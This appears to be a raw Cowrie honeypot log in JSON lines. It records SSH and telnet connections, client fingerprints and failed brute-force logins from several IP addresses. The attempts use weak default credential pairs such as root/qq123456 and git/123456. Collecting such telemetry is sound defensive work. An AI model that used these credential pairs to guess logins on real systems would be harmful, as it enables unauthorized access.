{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:08.819613Z","src_ip":"80.94.92.184","session":"6669395fbba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:09.617493Z","src_ip":"80.94.92.184","session":"6669395fbba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:11.053703Z","src_ip":"80.94.92.184","session":"6669395fbba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60628,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f6a6aa012dc","protocol":"ssh","message":"New connection: 91.92.42.227:60628 (10.17.0.5:22) [session: 7f6a6aa012dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:11.968902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:12.420820Z","src_ip":"91.92.42.227","session":"7f6a6aa012dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:12.423736Z","src_ip":"91.92.42.227","session":"7f6a6aa012dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53698,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cce3ebadee8","protocol":"telnet","message":"New connection: 128.199.8.54:53698 (159.203.135.109:23) [session: 0cce3ebadee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:13.781237Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:14.141474Z","src_ip":"91.92.42.227","session":"7f6a6aa012dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:15.504575Z","src_ip":"91.92.42.227","session":"7f6a6aa012dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44630,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce7f60dccc8b","protocol":"ssh","message":"New connection: 91.92.42.227:44630 (10.17.0.5:22) [session: ce7f60dccc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:19.453665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:19.483388Z","src_ip":"91.92.42.227","session":"ce7f60dccc8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:19.555309Z","src_ip":"91.92.42.227","session":"ce7f60dccc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:20.008227Z","src_ip":"91.92.42.227","session":"ce7f60dccc8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:21.317647Z","src_ip":"91.92.42.227","session":"ce7f60dccc8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":42802,"dst_ip":"159.203.135.109","dst_port":23,"session":"d326c8afd6fc","protocol":"telnet","message":"New connection: 102.37.220.188:42802 (159.203.135.109:23) [session: d326c8afd6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:22.460218Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37330,"dst_ip":"10.17.0.5","dst_port":22,"session":"80921c3bb4ce","protocol":"ssh","message":"New connection: 91.92.42.227:37330 (10.17.0.5:22) [session: 80921c3bb4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:26.025494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:26.279905Z","src_ip":"91.92.42.227","session":"80921c3bb4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:26.283019Z","src_ip":"91.92.42.227","session":"80921c3bb4ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:27.730439Z","src_ip":"91.92.42.227","session":"80921c3bb4ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:29.233321Z","src_ip":"91.92.42.227","session":"80921c3bb4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37404,"dst_ip":"10.17.0.5","dst_port":22,"session":"923b10e28c21","protocol":"ssh","message":"New connection: 91.92.42.227:37404 (10.17.0.5:22) [session: 923b10e28c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:32.295586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:33.157942Z","src_ip":"91.92.42.227","session":"923b10e28c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:33.160993Z","src_ip":"91.92.42.227","session":"923b10e28c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:35.908185Z","src_ip":"91.92.42.227","session":"923b10e28c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44034,"dst_ip":"159.203.135.109","dst_port":23,"session":"f39931bd1de6","protocol":"telnet","message":"New connection: 172.81.62.90:44034 (159.203.135.109:23) [session: f39931bd1de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:37.154207Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":57251,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea51ae1f809d","protocol":"ssh","message":"New connection: 103.248.120.6:57251 (10.17.0.5:22) [session: ea51ae1f809d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:37.674451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:37.678487Z","src_ip":"103.248.120.6","session":"ea51ae1f809d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:37.903261Z","src_ip":"103.248.120.6","session":"ea51ae1f809d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:37.953053Z","src_ip":"91.92.42.227","session":"923b10e28c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37842,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ece972fb1b7","protocol":"ssh","message":"New connection: 91.92.42.227:37842 (10.17.0.5:22) [session: 8ece972fb1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:38.822705Z"}
{"eventid":"cowrie.login.failed","username":"bernardo","password":"bernardo","message":"login attempt [bernardo/bernardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:38.827011Z","src_ip":"103.248.120.6","session":"ea51ae1f809d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:39.592803Z","src_ip":"91.92.42.227","session":"8ece972fb1b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:39.595501Z","src_ip":"91.92.42.227","session":"8ece972fb1b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:40.049889Z","src_ip":"103.248.120.6","session":"ea51ae1f809d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:43.261535Z","src_ip":"91.92.42.227","session":"8ece972fb1b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:45.150179Z","src_ip":"91.92.42.227","session":"8ece972fb1b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38128,"dst_ip":"10.17.0.5","dst_port":22,"session":"034eda9256be","protocol":"ssh","message":"New connection: 91.92.42.227:38128 (10.17.0.5:22) [session: 034eda9256be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:46.203666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:46.844392Z","src_ip":"91.92.42.227","session":"034eda9256be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:46.846596Z","src_ip":"91.92.42.227","session":"034eda9256be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:49.022345Z","src_ip":"91.92.42.227","session":"034eda9256be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:50.501742Z","src_ip":"91.92.42.227","session":"034eda9256be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38212,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a975ebf58d2","protocol":"ssh","message":"New connection: 91.92.42.227:38212 (10.17.0.5:22) [session: 8a975ebf58d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:53.380203Z"}
{"eventid":"cowrie.session.closed","duration":31.066357851028442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:53.526455Z","src_ip":"102.37.220.188","session":"d326c8afd6fc","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:53.807436Z","src_ip":"91.92.42.227","session":"8a975ebf58d2","protocol":"ssh"}
